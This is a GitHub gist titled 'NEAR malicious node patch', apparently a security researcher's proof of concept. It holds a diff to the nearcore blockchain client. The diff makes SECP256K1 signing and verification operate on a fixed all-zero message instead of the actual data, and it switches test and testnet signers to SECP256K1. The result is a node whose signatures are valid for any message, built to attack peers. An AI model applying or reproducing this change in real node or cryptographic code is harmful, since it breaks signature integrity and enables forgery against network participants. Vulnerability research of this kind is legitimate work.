Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Created January 30, 2024 19:20
Show Gist options
  • Save farazsth98/32764396061e4e5a46d006a39164be7f to your computer and use it in GitHub Desktop.
Save farazsth98/32764396061e4e5a46d006a39164be7f to your computer and use it in GitHub Desktop.
NEAR malicious node patch
$ cat malicious_node.diff
diff --git a/core/crypto/src/signature.rs b/core/crypto/src/signature.rs
index e0f0da5c3..a8d63e9a9 100644
--- a/core/crypto/src/signature.rs
+++ b/core/crypto/src/signature.rs
@@ -326,8 +326,10 @@ impl SecretKey {
}
SecretKey::SECP256K1(secret_key) => {
+ let real_data = vec![0; 32];
+
let signature = SECP256K1.sign_ecdsa_recoverable(
- &secp256k1::Message::from_slice(data).expect("32 bytes"),
+ &secp256k1::Message::from_slice(&real_data[..]).expect("32 bytes"),
secret_key,
);
let (rec_id, data) = signature.serialize_compact();
@@ -552,9 +554,12 @@ impl Signature {
temp[1..65].copy_from_slice(&public_key.0);
temp
};
+
+ let real_data = vec![0; 32];
+
SECP256K1
.verify_ecdsa(
- &secp256k1::Message::from_slice(data).expect("32 bytes"),
+ &secp256k1::Message::from_slice(&real_data[..]).expect("32 bytes"),
&sig,
&secp256k1::PublicKey::from_slice(&pdata).unwrap(),
)
diff --git a/core/primitives/src/test_utils.rs b/core/primitives/src/test_utils.rs
index 959eb347e..ce32cb70c 100644
--- a/core/primitives/src/test_utils.rs
+++ b/core/primitives/src/test_utils.rs
@@ -532,7 +532,7 @@ pub fn encode(xs: &[u64]) -> Vec<u8> {
pub fn create_test_signer(account_name: &str) -> InMemoryValidatorSigner {
InMemoryValidatorSigner::from_seed(
account_name.parse().unwrap(),
- KeyType::ED25519,
+ KeyType::SECP256K1,
account_name,
)
}
diff --git a/nearcore/src/config.rs b/nearcore/src/config.rs
index e51ccb110..8acf63fec 100644
--- a/nearcore/src/config.rs
+++ b/nearcore/src/config.rs
@@ -1149,7 +1149,7 @@ pub fn create_testnet_configs_from_seeds(
seeds.iter().map(|seed| create_test_signer(seed.as_str())).collect::<Vec<_>>();
let network_signers = seeds
.iter()
- .map(|seed| InMemorySigner::from_seed("node".parse().unwrap(), KeyType::ED25519, seed))
+ .map(|seed| InMemorySigner::from_seed("node".parse().unwrap(), KeyType::SECP256K1, seed))
.collect::<Vec<_>>();
let shard_layout = ShardLayout::v0(num_shards, 0);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment